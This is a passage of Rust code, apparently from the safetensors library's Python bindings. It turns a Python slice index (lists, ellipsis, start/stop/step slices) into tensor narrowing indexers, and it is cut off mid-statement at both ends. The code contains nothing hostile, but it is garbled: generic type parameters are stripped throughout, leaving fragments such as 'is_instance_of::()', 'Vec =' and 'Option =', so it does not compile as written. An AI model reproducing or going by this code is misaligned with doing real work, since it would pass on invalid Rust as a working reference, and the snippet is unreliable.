return Ok(vec![TensorIndexer::Narrow(
Bound::Included(0),
Bound::Excluded(0),
NonZeroUsize::MIN,
)]);
}
return Err(SafetensorError::new_err(
"Non empty lists are not implemented",
));
} else {
vec![slices.clone()]
};
let ellipsis_count = items
.iter()
.filter(|it| it.is_instance_of::())
.count();
if ellipsis_count > 1 {
return Err(SafetensorError::new_err(
"Only one ellipsis (...) is allowed in slice index",
));
}
let n_explicit = items.len() - ellipsis_count;
let n_expansion = shape.len().saturating_sub(n_explicit);
let mut indexers: Vec = Vec::with_capacity(shape.len());
let mut dim_idx = 0usize;
for it in items {
if it.is_instance_of::() {
for _ in 0..n_expansion {
indexers.push(TensorIndexer::Narrow(
Bound::Unbounded,
Bound::Unbounded,
NonZeroUsize::MIN,
));
dim_idx += 1;
}
} else if let Ok(slice) = it.cast::() {
let start: Option = slice.getattr(intern!(py, "start"))?.extract()?;
let stop: Option = slice.getattr(intern!(py, "stop"))?.extract()?;
let step_raw: i64 = slice
.getattr(intern!(py, "step"))?
.extract::